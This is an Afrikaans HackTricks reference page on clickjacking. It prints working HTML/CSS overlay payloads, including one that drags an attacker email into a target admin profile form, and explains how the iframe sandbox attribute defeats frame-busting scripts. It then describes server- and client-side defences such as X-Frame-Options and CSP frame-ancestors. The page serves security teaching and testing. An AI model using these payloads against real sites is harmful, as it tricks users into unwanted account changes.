12 KiB
Clickjacking
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy jou maatskappy geadverteer wil sien in HackTricks of HackTricks in PDF wil aflaai Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks swag
- Ontdek Die PEASS Familie, ons versameling eksklusiewe NFTs
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.
Gebruik Trickest om maklik werkstrome te bou en outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapshulpmiddels.
Kry Vandaag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Wat is Clickjacking
In 'n clickjacking-aanval word 'n gebruiker bedrieg om op 'n element op 'n webbladsy te klik wat óf onsigbaar is óf vermom is as 'n ander element. Hierdie manipulasie kan lei tot onbedoelde gevolge vir die gebruiker, soos die aflaai van malware, omleiding na skadelike webbladsye, die voorsiening van geloofsbriewe of sensitiewe inligting, geldoorplasings, of die aanlyn-aankoop van produkte.
Vooraf ingevulde vormtruuks
Dikwels is dit moontlik om die waarde van velde van 'n vorm te vul met GET-parameters wanneer 'n bladsy gelaai word. 'n Aanvaller kan hierdie gedrag misbruik om 'n vorm met willekeurige data te vul en die clickjacking-lading te stuur sodat die gebruiker die knoppie Indien druk.
Vul vorm met Sleep & Plaas
As jy wil hê dat die gebruiker 'n vorm moet voltooi maar jy wil hom nie direk vra om spesifieke inligting te skryf (soos die e-pos en/of spesifieke wagwoord wat jy weet nie), kan jy hom net vra om iets te Sleep & Plaas wat jou beheerde data sal skryf soos in hierdie voorbeeld.
Basiese Lading
<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>
Veelstapgelaai
<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>
Sleep&Laai + Kliek lading
<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>
XSS + Clickjacking
As jy 'n XSS-aanval identifiseer wat vereis dat 'n gebruiker op 'n element moet kliek om die XSS te trigger en die bladsy is kwesbaar vir clickjacking, kan jy dit misbruik om die gebruiker te mislei om op die knoppie/skakel te kliek.
Voorbeeld:
Jy het 'n self XSS gevind in sekere privaat besonderhede van die rekening (besonderhede wat net jy kan instel en lees). Die bladsy met die vorm om hierdie besonderhede in te stel is kwesbaar vir Clickjacking en jy kan die vorm vooraf invul met die GET parameters.
__'n Aanvaller kan 'n Clickjacking-aanval op daardie bladsy voorberei deur die vorm vooraf in te vul met die XSS-lading en die gebruiker te mislei om die vorm in te dien. So, wanneer die vorm ingedien word en die waardes gewysig word, sal die gebruiker die XSS uitvoer.
Strategieë om Clickjacking te Verswak
Kliëntkant Verdediging
Skripte wat aan die kliëntkant uitgevoer word, kan aksies uitvoer om Clickjacking te voorkom:
- Verseker dat die aansoekvenster die hoof- of boonste venster is.
- Maak alle rame sigbaar.
- Voorkom klieks op onsigbare rame.
- Opmerk en gebruikers waarsku van potensiële Clickjacking-pogings.
Hierdie rame-breek-skripte kan egter omseil word:
- Webblaaier se Sekuriteitsinstellings: Sommige webblaaier kan hierdie skripte blokkeer op grond van hul sekuriteitsinstellings of gebrek aan JavaScript-ondersteuning.
- HTML5 iframe
sandbox
Kenmerk: 'n Aanvaller kan rame-breek-skripte neutraliseer deur diesandbox
kenmerk metallow-forms
ofallow-scripts
waardes sonderallow-top-navigation
in te stel. Dit voorkom dat die iframe verifieer of dit die boonste venster is, bv.,
<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>
Die allow-forms
en allow-scripts
waardes maak aksies binne die iframe moontlik terwyl top-level navigasie gedeaktiveer word. Om die bedoelde funksionaliteit van die geteikende webwerf te verseker, mag addisionele toestemmings soos allow-same-origin
en allow-modals
nodig wees, afhangende van die aanvalstipe. Blaaierkonsole-boodskappe kan aandui watter toestemmings toegelaat moet word.
Bedienerskant Verdedigings
X-Frame-Options
Die X-Frame-Options
HTTP-antwoordkop lig blaaier in oor die geldigheid van die weergawe van 'n bladsy in 'n <frame>
of <iframe>
, wat help om Clickjacking te voorkom:
X-Frame-Options: deny
- Geen domein kan die inhoud in 'n raam plaas nie.X-Frame-Options: sameorigin
- Slegs die huidige webwerf kan die inhoud in 'n raam plaas.X-Frame-Options: allow-from https://trusted.com
- Slegs die gespesifiseerde 'uri' kan die bladsy in 'n raam plaas.- Merk die beperkings op: as die blaaier hierdie riglyn nie ondersteun nie, mag dit nie werk nie. Sommige blaaier verkies die CSP frame-ancestors riglyn.
Inhoud Sekuriteitsbeleid (CSP) frame-ancestors riglyn
frame-ancestors
riglyn in CSP is die aanbevole metode vir Clickjacking beskerming:
frame-ancestors 'none'
- Soortgelyk aanX-Frame-Options: deny
.frame-ancestors 'self'
- Soortgelyk aanX-Frame-Options: sameorigin
.frame-ancestors trusted.com
- Soortgelyk aanX-Frame-Options: allow-from
.
Byvoorbeeld, die volgende CSP staan slegs raamwerk van dieselfde domein toe:
Content-Security-Policy: frame-ancestors 'self';
Verdere besonderhede en komplekse voorbeelde kan gevind word in die frame-ancestors CSP dokumentasie en Mozilla se CSP frame-ancestors dokumentasie.
Inhoud Sekuriteitsbeleid (CSP) met child-src
en frame-src
Inhoud Sekuriteitsbeleid (CSP) is 'n sekuriteitsmaatreël wat help om Clickjacking en ander kode-inspuitingsaanvalle te voorkom deur te spesifiseer watter bronne die blaaier moet toelaat om inhoud te laai.
frame-src
Riglyn
- Definieer geldige bronne vir rame.
- Meer spesifiek as die
default-src
riglyn.
Content-Security-Policy: frame-src 'self' https://trusted-website.com;
Hierdie beleid staan rame toe van dieselfde oorsprong (self) en https://trusted-website.com.
child-src
Direktief
- Ingevoer in CSP-vlak 2 om geldige bronne vir webwerkers en rame in te stel.
- Tree op as 'n reservoar vir frame-src en worker-src.
Content-Security-Policy: child-src 'self' https://trusted-website.com;
Hierdie beleid staan rame en werkers toe van dieselfde oorsprong (self) en https://trusted-website.com.
Gebruik Notas:
- Afskaffing: child-src word uitgefaseer ten gunste van frame-src en worker-src.
- Terugvalgedrag: As frame-src afwesig is, word child-src as 'n terugval vir rame gebruik. As beide afwesig is, word default-src gebruik.
- Streng Brondefinisie: Sluit slegs vertroude bronne in die riglyne in om uitbuiting te voorkom.
JavaScript-raam-brekerskripte
Alhoewel nie heeltemal waterdig nie, kan JavaScript-gebaseerde raam-brekerskripte gebruik word om te voorkom dat 'n webbladsy ingelys word. Voorbeeld:
if (top !== self) {
top.location = self.location;
}
Gebruik van Anti-CSRF-tokens
- Tokenvalidasie: Gebruik anti-CSRF-tokens in webtoepassings om te verseker dat staatveranderende versoeke doelbewus deur die gebruiker gemaak word en nie deur 'n Clickjacked-bladsy nie.
Verwysings
- https://portswigger.net/web-security/clickjacking
- https://cheatsheetseries.owasp.org/cheatsheets/Clickjacking_Defense_Cheat_Sheet.html
Gebruik Trickest om maklik te bou en werkvloeie outomatiseer wat aangedryf word deur die wêreld se mees gevorderde gemeenskapsinstrumente.
Kry Vandag Toegang:
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!
Ander maniere om HackTricks te ondersteun:
- As jy wil sien dat jou maatskappy geadverteer word in HackTricks of HackTricks aflaai in PDF-formaat Kyk na die INSKRYWINGSPLANNE!
- Kry die amptelike PEASS & HackTricks-swag
- Ontdek Die PEASS-familie, ons versameling eksklusiewe NFT's
- Sluit aan by die 💬 Discord-groep of die telegram-groep of volg ons op Twitter 🐦 @carlospolopm.
- Deel jou haktruuks deur PR's in te dien by die HackTricks en HackTricks Cloud github-opslag.